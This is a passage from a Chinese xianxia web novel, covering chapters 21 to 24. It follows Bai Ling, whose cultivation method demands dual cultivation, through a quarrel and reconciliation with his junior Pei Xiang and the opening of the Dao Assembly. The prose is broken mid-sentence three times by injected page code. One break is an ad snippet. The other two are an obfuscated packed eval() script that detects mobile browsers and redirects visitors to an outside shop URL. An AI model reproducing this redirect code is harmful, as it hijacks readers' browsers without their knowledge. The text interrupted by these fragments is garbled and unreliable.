距道会尚有三周多,虽说有师兄给的铃铛,但白翎不想事事麻烦他。待了结了问鼎一脉,白翎计划带裴响四处逛逛,见些世面。 因此,一名便宜靠谱的保镖非常重要。 听尹姓刀修说什么“时间不多了”,而且他对丹药照单全收,显然有急需之物。白翎手头还有四十枚塔印,或许能支付他想要的报酬。 屏风后响起水声,是裴响在沐浴。 小师弟有洁癖,早晚各洗一次澡。反正他自己劈柴烧水,白翎便一直随他。 不过,诸葛悟建房子的时候没考虑浴室。修真界的人们沐浴皆在屋内,一般往澡盆浴桶里倒热水,泡着洗洗涮涮就行。 所以,裴响不可能去别的屋子洗、也不会到野外供灵兽围观,便只能和白翎同处屋檐下,用屏风挡着沐浴了。 以前他都会将屏风拉平,左右紧贴墙壁,确保一丝缝隙不留。今日却比以往更甚,他竟然不辞劳苦地找来几片大芭蕉叶,连屏风上面都挡得严严实实。 白翎伤心了。 法宝读取裴响的记忆后,捏造他的幻象欺骗裴响,尽说些色魔台词。在裴响心目中,师兄居然是如此形象么? 两人回到折雨洞天,一路没说话。 白翎自知平日口无遮拦,戏弄师弟,定会让他害羞。但他没想到,戏弄师弟的后果是被当成了色情狂。 饶是没心没肺如白翎,也油然而生一股失落。他上辈子和同学们插科打诨,同龄人讲笑话荤素不忌,这辈子好不容易碰到裴响,还以为终于有个嬉戏打闹的对象了。 不成想,小师弟是一株凛然不可侵犯的含羞草,碰一下就天崩地裂。白翎空有一身乐子,却无用武之地,一时间了无生趣。 他百思不得其解,总觉得裴响对他格外敏感。白翎思来想去,只能想到一个原因:莫非,是因为他要双修才能进境的功法? 裴响的性子冰清玉洁,想来是受不了此等行径的,怪不得对他草木皆兵。 21.二十一、拌嘴 水声渐息,裴响快洗完了。 白翎一鼓作气滚起来,趺坐运功。床头养了一盆晚香玉,琉璃花盏中不是泥土,而是金虹灵泉。白翎引来一滴,悬于目前。 他不喜修炼,是嫌凝炼灵力枯燥又麻烦。但他的悟性并不差,在闭眼的一瞬间入静,远超今日讲坛静修的大部分人。 不过白翎此时非为静修,他潜心神入内府,不断引灵力下沉丹田,冲击关窍。 在他的丹田中,灵脉汇集于此,已育成了生根发芽之状。只要关窍突破,便能长出灵根,晋入筑基后期。 若是仔细观察,可见他灵脉凝成的新芽色泽如雪,呈半透明的玉质,一旦生根,必为上上品。 可他已经修了两百多年,始终没更进一步。 心法教人走,功法选择路,他在分岔口滞留许久。今日再度尝试破境,依然不得要领。 灵力在丹田内左冲右撞,倏然平息。白翎睁开眼,面上依旧带笑,心下则一时怅然。 该死的《喜乐诸天奇经》,真是一部神经。 这功法自从被他从全性塔抽出来,就赖上他了,而且开篇十分正常,骗他通灵脉、入仙道后,才在他迈入筑基前期的第一天,“唰”地展示出双修之术。 起初白翎还很天真,寻思一条路走不通、换条路走。没想到,作为神级功法的《喜乐诸天奇经》十分骄横,将其他进入他脑袋的功法全融了。 没错,全融了! 白翎想起来便噌噌冒火。诸葛悟时不时送几本仙级功法给他,都被《喜乐诸天奇经》露头就秒。如果这些倒霉功法写在纸上,白翎堪称修真界第一碎纸机。 如此下去,他要么当一辈子筑基守门员,要么屈从于功法的淫威,找人双修。 白翎瘫回床上,泄气地埋头在被褥里。 见鬼的《喜乐诸天奇经》,把狗骗进来杀,害他修为一直上不去,还被师弟戴有色眼镜看待。他刚才努力突破关窍,可是结果和以前成百上千次的尝试一样,每当他催动灵力叩门,脑子里便仿佛有个声音在说: 欲练神功,必先双修。 ……为什么和《葵花宝典》的台词那么像啊!白翎已经无力吐槽了。 如果修真界没有这种自宫才能练的功法,那最惨的绝对是他,被一部逼人进行生命大和谐的功法缠上。 “哗啦”一声,屋内的屏风拉开,些微水汽往外弥散。 身穿双层中衣,正在擦拭湿发的裴响脚踩木屐走出来,见白翎生无可恋地死在被子里,谨慎地贴墙出去晾衣服。 白翎道:“站住。” 裴响的谨慎升级为警惕,停在角落。 白翎拔出脑袋,直入主题:“你是不是因为我要双修讨厌我?” 裴响闻言一怔,本就被蒸出了些微血色的面颊上,顷刻晕开红潮。他不自然道:“忽然又讲这个做什么。” 白翎却不依不饶地打滚,叫道:“说呀!你是不是瞧不起双修?” 裴响面色微变,把装着洗好衣物的木盆放下,快步走向床边,望了眼东厢的方向。 他低声道:“你若是吵醒诸葛道长,还……还纠结于此等毫无廉耻的问题,我……” “你要怎样?啊?你要怎样!功法又不是我选的,你凭什么因为它讨厌我?”白翎和活鱼似的剧烈弹动,拒绝内耗但可以外耗,尽情发疯。 裴响忙欺身上榻,试图将他按住,道:“什么讨厌你?……我?我做什么了……” “每次碰你一下你就瞪我,跟你开玩笑你也生气,还总是一副被我玷污的表情!你敢说你喜欢我吗?” 白翎一句话把裴响问得愣住。 少年历来冷冽的面容上,浮现出漫长的愕然。 白翎悲从中来,一顿乱拳殴打空气,揍这个狗日的世界。 不说话就是默认,他满心期待、一直示好的小师弟,果然不喜欢他。当初就不该把功法的事情说出去,双修什么的烂在肚子里好了,至少现在不会招人嫌。 一缕乌发垂落,带着湿润的幽香。 裴响局促地低下头,不让白翎看他表情,无意间却像往白翎怀里钻似的。 白翎垮着脸问他:“干嘛,你还委屈上了?你就说我哪条冤枉了你,你是不是很难养。” “我……我没有讨厌你。”裴响艰难开口,透露一分茫然,“我对你碰我有些抵触,是因为……” 白翎哼道:“因为什么?” “因为我没被谁碰过。”裴响的声音闷闷的,说,“像你一样靠近我的,我……我第一次见。” 他越说声音越小,仿佛很难以启齿,不习惯说关于自己的事。 白翎沉默片刻,奇怪道:“你没有朋友吗?伴读什么的也行啊,没人陪你玩儿?” 他前世在福利院还跟小孩们玩老鹰捉小鸡呢,裴家如此门第,按理说该有人为裴响鞍前马后才对。 “没有。洛东城人尽皆知,我十九岁要拜入道场。阿姐防着心怀鬼胎之人蓄意接近,只让我与仙师们接触。”裴响语气黯然,半晌才说,“而且她忧心我被娇惯坏了,日后离家出事,所以也不与我亲近。” 白翎看着师弟深深低下的脑袋,意识到自己好像误会了什么。 但他不肯服软太快,犹嘴硬道:“我、我喜欢挨着你,是因为我几百年没摸到活人了呀。可是一些口头玩笑,你反应也很激烈,难道要我像仙师们那样,对你客客气气的?” “不要!”裴响倏地抬头,又咬唇住口。 白翎道:“你看看,你看看,哪样都不要,你倒是选一样嘛。反正我改是不可能改的,我就喜欢逗人玩儿。你要是不情愿,我以后也不想理你了。” 他说罢翻身下床,作势离开。 裴响忙问:“到就寝的时辰了,你去哪儿?” “睡大厅呗。反正你不乐意跟我待着,我当然……” 白翎话没说完,被放了回去。 是的,“放了回去”——白翎疏于修炼,体格比起强健、更偏柔韧,肌理密度也低,整个人轻飘飘的,加上他没作防备,直接让师弟两手把着腰端起来了,把他放回床上。 白翎惊讶地睁大眼,道:“不孝子,你想干嘛?” 裴响情急之下,双臂撑在他左右,防止他又逃跑。少年人漂亮的眉睫水汽未散,抬眸望着他时,有种湿漉漉的我见犹怜。 白翎咽了口唾沫,忽然感觉怪怪的。 他汗毛倒竖,慢慢眨了下眼睛,小心翼翼地问:“难道你想和我睡?” 裴响道:“不想!” “那你拦着我干嘛?你不和我睡,有得是人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陪我。”白翎寻思自个儿找舍友还是小事一桩的,得意地说,“我去找师兄凑合一晚。” “你、你去找诸葛道长?”不料裴响面露震惊,不敢置信地问,“你不是说,没有告诉诸葛道长功法的事情吗?” 白翎说:“对呀,但是告不告诉有什么关系?师兄见多识广,知道了也不会怪我的。再说了,谁叫你不想和我睡?我晚上总得有个地方待着吧,走开走开。” 他推开神情恍惚的裴响,抱着枕头出门去了,一路摇头感慨。 修真界的礼教严,凡家更是规矩一套又一套,把他好端端的小师弟荼毒成这样。夜里一起睡怎么了?裴响不肯跟他睡,还不许他去找别人睡,饶是白翎也不免生出脾气。 白翎路过厅堂,踢了软垫一脚。总不能真让他睡这儿吧,好歹要有床啊。 “砰”的一声,白翎推开东厢房门,招呼道:“哦哈哟师兄!” 诸葛悟正在书案后静坐,闻言侧目,问:“吵架了?” “唉,阿响不想跟我睡觉。”白翎翻箱倒柜,搜罗出几床被褥,用口诀除尘之后,通通叠在地上,往上一瘫。 他痛心疾首地说:“我的神级大床啊……怎么走的是我?昏头了真的,我干嘛不把他踢出去。” 墨蓝织金袍的剑修起身,给他倒了杯茶,放在地铺的床头。 诸葛悟在床边坐下,道:“小裴的性子与你不说相反,至少毫不相干。往后还要共历长生,不必因一时不合而神伤,日久交心即可。” “神伤?我才没神伤。”白翎脖子一抬,不服气地反驳。他忍不住犯嘀咕,“我能得道飞升吗?不按照功法来的话……” 诸葛悟说:“看似我们抽取宝物,实则,属冥冥中机缘牵引。能得到神级功法的垂青,实为万幸。池内的其他功法有所感应,一般会另寻明主,即便前来,也极少是同等级别的。阿翎最好还是依现有功法修炼,《喜乐诸天奇经》虽然未曾听旁人练过,但毕竟是神级,你觉得呢?” 白翎“呵呵”两声,心说低级别的来了也不行啊。他这功法跟抓外遇似的,见一部融一部。 他苦笑道:“我实在很难照功法的要求去做……师兄啊,有没有一些功法要求很离谱的?比如杀人啦、抢劫啦、学驴叫啦。” 诸葛悟沉默片刻,说:“自然是有,不过并非如此儿戏。而且功法的指引随你修为增长,亦会变化,须一以贯之,方可习得神通。” 白翎好奇道:“师兄功法的要求是什么?” “金丹以前,是禁欲。金丹至元婴,则让我体会诸般人情。至于我突破元婴入化神后,再是什么,便不得而知。” 诸葛悟笑了笑,道,“见招拆招罢了。看来阿翎的功法要求奇诡,与你意愿相违。你一直不肯明言,想来有难言之隐,我不会过问,一切抉择在你。不过,作为师兄,我须提醒一句。” 白翎:“什么?” 诸葛悟面上的笑意淡了,说:“筑基期修士的寿命,穷于三百余岁。阿翎如有难题,还是尽早求解才是。否则……” 他停顿须臾,道:“我们师兄弟一场,缘分深重,亦有不得不诀别的一天。” “锵”的一声,门外有什么东西被撞掉了,隔墙有耳。 白翎蓦地起身,喊了声“谁啊”,掀帘而出。 22.二十二、相依 仙去山的夜很安静,白鹭皆宿在洞天深处的湖上。夜风在山间游走,拨动连绵的草木声。 白翎出门没看到人影,回自己的西厢,发现裴响不在。 不可能有外人潜入折雨洞天,所以在门外听他和师兄谈话的,只可能是裴响。白翎扬了扬眉,不知小师弟跟来干什么。 他循着一丝灵气残痕,走出屋舍。他们的房子环山而建,坐落在近千岁的古榕枝干上,榕须如层层垂纱,摇曳月影。 白翎试着唤道:“阿响?” 不远处响起踩扁落叶的声音,白翎立即跟了上去。他曾在为裴响挡剑的时候,顿悟过神行术,几息之间,闪入深林,笑道:“你一个人睡不着吗?” 此时已远离了弟子廊舍,道道清辉斜照,尽头是一轮满月。银盘之下,少年人忽然止步,回身道:“师兄,等等……” 白翎的三脚猫功夫并不娴熟,“诶?”了一声,迎面扑了个满怀。 “噗通”一声,两人齐齐落水,惊散满池游鱼。 白翎没料到前面路断了,古老枝杈的接口处,蕴着一汪清池。池子不深,可是他刚才把裴响撞飞,两人直接掉到了水中央。 白翎呛得直咳嗽,踮脚勉强能碰到水底,不过须扶着裴响才行。 他们都穿着中衣,裴响不知出于何种目的,叠了两件,然而并没有什么用。水一浸,薄薄的衣料贴在身上,透出一抹抹肤色,还不如不穿。 白翎那一身丝滑的绸衣就更看不得了。裴响刚站稳,看清怀里的师兄,险些又栽进水里。 白翎咳得难受,死死扒拉着他。好不容易才掌握平衡,白翎抹了把脸,发现师弟已经快被自己勒到窒息。 “阿响!”他连忙松开一些,但师弟依然憋着气似的,连眼睛也不睁开。 白翎干笑道:“不好意思,我没刹住。你能踩到底的话,不如先带我上去?” 裴响说:“你……你去我后面。” 白翎:“啊?” “别面、面对面抱着!” 裴响死活不肯看他,也不肯让他看,往水里沉了沉,脖子都浸入水下。白翎拖长音“哦”了一声,也意识到这样贴在一起不像话,乖乖往裴响背上靠。 可是他挨着裴响蹭过去,手在少年胳膊上乱抓,还不小心摸了把腰。 感受到师弟明显一僵,白翎忙道:“我不小心的!好嘛好嘛,现在趴你背上了,走吧?” 裴响却慢慢躬下身,半天不动。 白翎老老实实地把脑袋搁在他肩膀上,两腿挂着他,奇怪道:“走呀,这么冷的水不怕泡生病?” 裴响咬牙道:“你……” 白翎福至心灵,猛然意识到什么。他震惊道:“不会吧!阿响,我没干什么啊,你——” 白翎立即探头去看,把裴响逼急了,又一阵水花四溅,两相挣扎。 白翎忍不住乐道:“怎么回事啊师弟,被我碰到了?我没动你那儿呀,你,你还挺娇气——” 他大笑起来,边笑边捶裴响肩膀,怕被恼羞成怒的师弟扔下来淹死,又赶紧上气不接下气地安慰他:“没事,没事!正常现象!都是男人,我还不清楚么?要不我也努力一下回个礼?哈哈哈哈哈——” 他说到最后绷不住,笑得水面乱颤。 裴响忍无可忍,一面捞大片的落叶、试图掩饰,一面回头恨恨地说:“你如此放肆,还疑心我因功法对你有成见?谁受得了你这般!若是真心理解我的意外,便当无事发生,谁会像你一样凑上来非看不可的?” 师弟难得说这么长一串话,显然被气狠了。但他一贯清冷皎洁的面容上,翻涌着羞愤、懊悔、恼怒、耻辱等诸多情绪,激得他眉目生动,更是好看。 白翎嘻嘻道:“好、好,是师兄错咯。我先去靠着石头,等你一会儿,保证不欺负你,可不可以?你没事了再和我说。” 他笑眼弯弯似月牙,转身去找了几块碎石,踩在上面。一丈见方的池子,清可见底,两人背对背相隔数尺,中间水波盈盈。 几尾小鱼挤在池塘角落,瑟瑟发抖。白翎无聊地冲它们吹口哨,可惜鱼儿不如师弟一逗就上钩。 忽然,白翎感到了一丝异动。 他愣了愣,捂住小腹。 若他刚才不是错觉,似乎丹田发生了一点变化。 郁结已久、再不生根便要枯竭的灵脉,竟然焕发了一线生机,紧闭多年的关窍也略有松动,吸着丝丝缕缕的灵气入内。 关窍相当于种子上方的厚土,幼苗不断破土而出,修士才能层层进境。白翎忙潜入内府视察,只见自己半透明的新芽尖端处,光华隐现,好像被诱发了什么一般。 他倏地回神,不敢置信。 什么意思,一直催他双修的功法按步骤给分了?他只是不小心招惹得师弟起火而已,居然有突破关窍的征兆。 白翎喃喃道:“我……我能多活几年啦?” 即便过了三百年浑浑噩噩的日子,真当死到临头之际,还是会有万般不舍。 诸葛悟的话一直在他心头盘旋,被他选择性搁置,因为他知道自己无力回天,只能暂且不听、不想、不思考,等无人时再独自咀嚼。 但此时此刻,车到山前大道突开。白翎怔神良久,忽然笑出声。 裴响阴森森的声音从背后传来,道:“你又在开心什么?” 他终于平复了某处,转向安分了不到片刻的师兄,面上潮红未散,怨念犹深。然而白翎也回身向他,令裴响蓦地停住了话头。 白翎满面泪痕,却笑着道:“阿响,我……” 他一时说不出话,裴响在水中快走几步,迟疑道:“你怎么了?” 白翎说:“我的关窍有点松动。就在……就在你那什么之后。” 他掬起池水,泼在脸上。白翎都不记得上回哭是什么时候了,他曾一度以为,修仙会让泪腺退化。 时至今日,他才明白是以往的日子太无聊。不过激动归激动,在师弟面前掉泪算哪门子师兄? 白翎不顾本就酸涩的泪眼,不停洗脸,试图让自己冷静下来。 裴响看他眼尾通红,皱着眉撩起上衣。 他拧了把水,递给白翎道:“用这个擦,别用手。” 白翎毫不客气地接来当洗脸毛巾,道:“我的功法更新了!原来不是双修才能进步,让别人喜欢我也有效果。师弟,你刚才……” “我没有!”裴响矢口否认。 白翎点点头,琢磨道:“没有喜欢我吗?那怎么起作用了。莫非喜欢不一定是心灵上的喜欢,肉_体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968109|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的……” “也没有!!”裴响夺回衣摆,看他的眼神又像在看什么妖孽了,语无伦次地说,“不过是一时不慎,让你离得太近……我、我全无杂念,天地可鉴!” 白翎摸着下巴,忽然打了个寒噤,扰乱沉思。 他道:“不管了,再待下去会冻死的。你说不喜欢,就不喜欢吧!快把师兄背回去。” 他张开双臂,裴响下意识后退一步。可他望着白翎,抿唇半晌,最后还是自暴自弃地上前来,让白翎“诶嘿”一声扑到了背上。 今夜月明,星子也亮。 高远的天幕银河璀璨,映着一地落叶,满山苍翠欲滴。 白翎念了个祛水诀,让两人恢复干爽。裴响踩着干枯的叶子,一步一个脚印,上岸后也没放下他,不知想什么出了神,一直背着他往屋舍走去。 白翎乐得悠闲,搂着师弟的肩享受夜风。 于他而言,今夜如同新生。属实是上天垂爱,赐他一段机缘。 忽然,裴响问了句什么。 白翎没听清,道:“嗯?你再说一遍?” “我说……”裴响半天才鼓足勇气,问,“像刚才那样,便能帮你进境么?” 白翎笑道:“反正功法说啦,让别人‘情意萌动’就行。具体的我也不清楚,你想帮我确认?” “没、没有!”裴响瞧见檐角的灯光,骤然回神,把白翎抖罗下来,退到五步开外。 少年仍微红着面颊,蹙眉道:“我先回去了。” 不等白翎答言,他迅速消失在廊下。白翎被晾在原地,迷茫地抠了抠脑袋,不知小孩子的脑回路是何构造。 但他人逢喜事精神爽,抻了个懒腰,慢悠悠地走回屋。东厢的灯已灭,白翎猜师兄就寝了,鬼鬼祟祟地溜进去。 不料刚拉开门,便听里面人说:“还落了别的东西么?” 诸葛悟自榻上抬头,见门口是白翎,道:“是你啊,阿翎。刚才小裴来过一趟。” 白翎道:“咦?他来干嘛。” 诸葛悟笑着说:“他一声不吭把你带的枕头抱走了。” 白翎:“……” 白翎安静片刻,道一声“打扰了”,又鬼鬼祟祟地退了出来。他回到西厢,果不其然,自己和神级大床配套的神级软枕,已经回到原处,好端端地摆在床头。 地铺上,裴响的睡姿和在棺材里一样标准。 白翎微微眯眼,没拆穿师弟装睡。罢了,躺哪都一样,他轻轻打了个呵欠,翻身上榻。 卸去心中的重担后,白翎几乎是沾床便沉入了梦乡。然而月色投下黑影,床边人坐了起来。 小片如银的微光漏过窗棂,恰好笼罩床头,为少年人专注的眉睫镀上一层雪色。裴响眉峰轻皱,一动不动地看了师兄许久,看着他陷在松软被褥间,毫不设防的睡颜。 “师兄弟一场,缘分深重,亦有不得不诀别的一天。” 诸葛悟的话犹在耳畔,偌大的床榻在月下如冰雕玉砌。 不知过了多久后,有人悄无声息地进了白翎被窝。 他嘴上重复着“救人一命胜造七级浮屠”的口型,手上则把师兄搂进怀里,让他面颊贴着锁骨。少顷,不知是不是想起了师兄今日被冻得发颤,此人还顺带掖紧了被角。 23.二十三、道会 一个月流眄而过,道会召开在即。 白翎有所预感,自己离育出灵根,就差临门一脚。 这些天来,他三天打鱼两天晒网地去听课,复习筑基注意事项等。裴响则课业更重,日日天不亮便出门。两人聚少离多,往往夜深了才回折雨洞天安寝。 不过,白翎自从叩动关窍那一晚开始,每日醒来,皆能嗅着一阵淡香。若有若无,只是残留,萦绕在他的枕席间。 待他完全清醒,香气便如同幻觉般消散了。 白翎闻着挺熟悉,是师弟身上的味道。 他对此并不奇怪,因为裴响的洁癖已经蔓延到了生活的角角落落,尤其在他掌握洗东西很方便的“滚水诀”之后——在白翎看来和滚筒洗衣机原理一致。 凡是西厢里能过水的,不论被褥也好书桌也罢,全被裴响隔阵子就涮一遍。 白翎寻思师弟可能是香氛成精,凡所到处无不余香。反正闻着心情好,他便乐见其成了,从未过问此事。 在讲坛听课期间,白翎还结识了一些初入道场的新人,以及交钱蹭课的散修。可惜的是,他再未碰到和姓尹的刀修一样,让他眼前一亮的高手。 商行也没有新消息。钱掌柜甚至发现,此前没有任何关于红衣刀修的记录。他仿佛只是一时兴起,去了一天而已,恰好与白翎三人萍水相逢。 白翎略有些遗憾,不过很快被李德送来的神级筑基保命散弥补了。 一个月前,他师侄育灵根时走火入魔,急需保命散。李德明明有,却藏着掖着,还把驾鹤一脉抽到仙级保命散的事泄露给师弟,诱使他为了弟子铤而走险。 如今收到李德私藏的、品级更高的保命散,完全坐实了他就是窈娘之死的幕后凶手。 白翎不免觉得好笑。 看来李德在师门内,日子是一天也过不下去了。他迫不及待地来投诚,试图弥补上一场道会时,对白翎造成的伤害。 可是他的赠礼绝非出于愧疚,只是为自个儿铺路而已。所以,白翎托漱玉真人帮忙,在她下给李德的战书里,捎了些信儿。 至于信上内容,从一开始的“我有很多打入问鼎一脉的方法,但我选择了给你一个机会”;到“我最讨厌别人不信任我。我逼你了吗?都是你自愿的啊”;再到“除了我谁会放你一马?换别人找你当内应,早就把你卖了”等等等等。 不出一周,李德便心理防线崩溃了,送来一封秘密回信。 问鼎一脉进入秘境的弟子名单、每人的功法及法宝简介、入境后的路线规划和行程安排,信里应有尽有。 白翎终于拿到了最关键的情报,稍作整合,同步了一份给漱玉真人。 李德收集信息想必费了不少心思,尤其是对他师弟孔安的介绍,长达三千多字,把孔真人的弱点交代得清清楚楚。 至于他们的师妹宁雪,是李德的梦中情人。李德写到她的薄弱之处时,显然为难了许久,最后勉强挤出几句,差点夸起来了。 如此一来,白翎更确定他在门中孤苦无依。 凭借李德之前的天资与地位,还有问鼎一脉的势利眼门风,若他仰慕师妹,长辈早就强行撮合他们了。 李德时至今日还打光棍,唯有一种可能:师妹既有主见,又有实力,而且打死不肯嫁给他。 但根据李德的尿性,必然是求爱不成百般骚扰的。看似在两位师兄间中立的师妹,心底里估计烦他烦得不行。 如此一来,万事俱备只欠东风。诸葛悟回洞天的日子不多,也发现了白翎的变化,得知他面临进境后,为他报了几门风评极佳的“专业课”。 毕竟白翎是三宝属性的,主打精神攻击。在剑修中,甚少有此道大能。若还听那些面向大众的“校选课”,或许会有所疏漏。 于是乎,白翎咬牙勤奋了一周,总算赶在道会开场前,把筑基所需的知识全部融会贯通。 在几门课上,他还偶遇了曾有一面之缘的阿花。小姑娘非常用功,已经是筑基后期,育过灵根的。她得知白翎好事将近,高兴得很,与他约好在秘境相见。希望到那时候,双方的修为都更上一层楼。 黄历撕到三月三,朱批春日万物生。 清明已过,谷雨未至,如此良辰好景时节,适逢诸方谈玄道会开始。 今日的折雨洞天内,山色尚显幽森,东方曙光初露。 西厢里的灵石水晶灯忽然亮起,白翎被光线刺得一翻身,扎进黑沉沉的褥子。 香气萦面,不知为何,比往常多了一抹余温。白翎更贪恋被窝了,抱紧被褥磨蹭。 一道不近人情的嗓音在他上方响起,说:“我已洗漱完了。还将室内外洒扫一遍,贴好定尘符。道会辰时开场,你待几时起?” 安静片刻后,此人又道:“你、你抱着被子瞎蹭什么?” 白翎含糊不清地说:“真好闻……” “怎么可能!我明明比你早起了整整一个时辰……不许再蹭了!” 不知为何,小师弟有些慌乱,上手抢他的被子。 不料白翎的睡衣料子太轻柔,每天早上,下摆都堆到胸口。裴响不小心扯开被窝,不知撞见什么,又闪电般盖了回去,连退数步。 白翎终于起身,低头看了眼,道:“没关系吧?我穿了裤子的。” 裴响:“快点整理好!” 师弟转眼没了人影。 白翎莫名其妙地看向门口,门扉来回晃荡,他坐在床上发呆。片刻后,隐隐有钟声传来,竟然连折雨洞天都能听见。 白翎想了想是什么鬼动静,骤然瞪大双眼,一跃而起。 — 此刻的霁青山北面,上万名修士齐聚一堂。 有句话说得好:即便你是万里挑一的天才,和你一样的天才,在霁青道场还有上万个。 白翎与裴响来到广场时,连广场边缘都挤不上去。两人找了一座视野很好的山腰小亭,等大部队先进秘境。 白翎是第二回参与道会了,因为第一回发生的事,此时抱臂而立,略有些不自然。不过他惦记着裴响是头回来,所以迎上师弟疑问的目光时,总是笑一笑让他放心。 倏然钟鼓声动,几位金丹期乐修运功,其声广布千里。 从霁青山北望,可见无尽荒原,直到天地相接处,隐约一片黑色。那是妖邪肆虐的魔域,其间的荒原实则另有乾坤。随着时间流逝,如纱的紫雾笼罩四野,有异象在内滋生。 白翎拍拍裴响,提醒道:“开始啦开始啦,快看。” 争分夺秒入静的师弟睁开眼,将尚未吸收完毕的灵泉收回芥子袋。忽然间,山间流风乱窜不止,广场上骚动的人海安静下来。 一道霞光铺展渐近,琴瑟笙箫仙乐齐鸣。在两峰的谷间,灵力高涨如潮,席卷向广场上空。 浩瀚灵潮凝为实体,在人们头顶汇聚成一片盈盈湖泊。修士们鼓掌称奇,举目瞻仰神通。一艘龙骨制成的飞宫行于湖上,船头宝盖云集。无数身穿绲金边红日服的凡人操持仪仗,没有修为,却令在场的修士们不敢逼视。 来者便是道会的主办方,拜日神教。老祖曾赐予他们权柄,并加以刻印,确保灵泉、塔印、秘境等重大资源,由拜日神教牢牢把控。 虽然一群凡人组织修士很离奇,但正因他们无法登仙,才大大降低了监守自盗的可能,尽量公平公正。白翎刚入师门时,因为这群人的名字像邪_教,还以为道场是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984557|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传销组织,后来才明白快速换届、又循规蹈矩的管理层有多棒。 几顶最华美浑圆的宝盖下,坐镇着拜日神教的现任教主们。没错,拜日神教的最高层不是一个人,而是一群人。 白翎一个都不认识,不过,教主们下方有一人同样宝盖加身,着墨蓝色织金边的道袍,正是诸葛悟。 白翎又蹦又跳地挥手呼告,不图让师兄听见,只图自己开心。相距甚远,诸葛悟却仿佛有所察觉,投来一瞥。 他面对教主们而立,身后还有浩浩荡荡数十人,无不是各大派系的精英。其中不乏几名化神期道君,修为比他高强,却屈居其后。 原因倒是简单:作为展月老祖的三代弟子之首,拜日神教对诸葛悟极为器重。不过此种器重,也出于他个人的异禀天资。 据说在拜日神教内部,一直有两股势力分庭抗礼:旧势力坚持倚仗展月老祖,为其飞升而筹谋,顺带提携其传人;新势力则试图招收弟子,发扬光大自身。 介于梦微道君那个无欲无求的神人出现,旧势力一度遭到重创。他们和劝昏君早点生小孩、方便他们换一人寄托希望的臣子似的,苦苦劝谏了数百年,才让梦微道君收诸葛悟入门。 幸好诸葛悟争气,以一己之力重扬旧势力声威,致新势力一蹶不振。不过,待白翎入门后,堪称昏君生了个昏上加昏的二胎,新势力闻着味儿又回来了。 白翎知道,新势力近年来蠢蠢欲动。他们定将目光放在裴响身上,准备看裴响表现如何,再做谋划。 但一切杂音,皆被诸葛悟挡在了折雨洞天之外。以前白翎不懂,以为师兄说没事就没事。现在他自己当师兄了,才明白诸葛悟定然背负良多。 收回思绪,已是钟鼓宁音之际。 教主们祭出一道灵符,交由诸葛悟,由他代表拜日神教和广大修士的共同意愿,开启秘境。诸葛悟飞身凌空,将灵符唤醒。刹那间,云销雨霁,彩彻区明,披露秘境真容。 万顷荒原上,高山拔地而起,河流奔腾其中。广场上的修士们喜形于色,一个个蓄势待发。 飞宫受到驱使,化作遁光,往天尽头的魔域驰去。修士们也不再按捺,运功的运功、御剑的御剑,上万条光华似流星曳尾,冲进前方的上古深林。 白翎时隔二百年再看,仍会为如此壮丽的场面叹服。 上一场道会,诸葛悟为了照顾他,是没有去飞宫上列队的,因此遭受了不少非议。若非临时接到前线求援,诸葛悟也不会将他留在一座隐蔽山头,给了问鼎一脉可乘之机。 不过现在白翎有法宝铃铛在手,还算有安全保障。他带着裴响来到广场上,此地尚有个别派系驻留,比如与他约好的驾鹤一脉。 遥见漱玉真人,对方略一颔首,不仅是向白、裴二人问好的意思,更代表她目睹问鼎一脉入秘境了。 双方见礼,驾鹤一脉的弟子们都围过来。 白翎问:“他们人数怎样?和李德给的情报一不一致呀。” 之前被称为“徐郎”的徐姓师弟上前报告:“回白仙长的话,完全一致。除了李德和他的师弟妹以外,还有三名五代弟子,包括他们着重培养的上上品灵根天才唐棠。” “问鼎一脉的三个都是元婴前期,弟子俩金丹、一筑基……唔。” 白翎心下盘算,漱玉真人同样是元婴前期,诸葛悟则是元婴后期。如果李德不搞事情,他们稳赢。 不过,问题就出在李德身上。 即便他已经山穷水尽,应该翻不出什么风浪,白翎依然对他没有半点信任。鹬蚌相争,渔翁得利,焉知李德没有当渔翁的心思? 忽然,一抹枫红色出现在白翎的视野里,让他眼前一亮。 24.二十四、绯衣 白翎脱口而出道:“尹兄!” 红衣人停步回头,却是一张陌生的脸。 白翎不好意思地笑了下,道声“抱歉”,不料下一刻,一声熟悉的沙哑嗓音自身后传来,说:“谁在叫我?” 白翎回身,只见背负金环长刀的修士正站在不远处,抬手扶了扶斗笠。 他的红衣色泽更浓、更如丹枫,衬着刀背的苍金环扣,与他本人的散漫姿态毫不相符。按理说,意气风发的年轻人才爱穿亮色,这位兄台英俊是英俊,不过好像活累了,死气沉沉。 他的视线落在白翎与裴响身上,片刻后问:“小姑娘呢?” 白翎乐了,说:“你好啊尹兄,你问阿花吗?她大概在自家派系吧。你也来参加道会?” 刀修“嗯”了一声,终于抱拳给了个称谓:“名真,道号绯衣。你是?” “我叫白翎,本来想托商行掌柜找你的,没想到今天还能碰上。” 白翎面露微笑,驾鹤一脉的弟子们也围拢过来,甚至好奇地摸了下绯衣真人的刀。 尹真并未介意,只道:“找我作甚。” 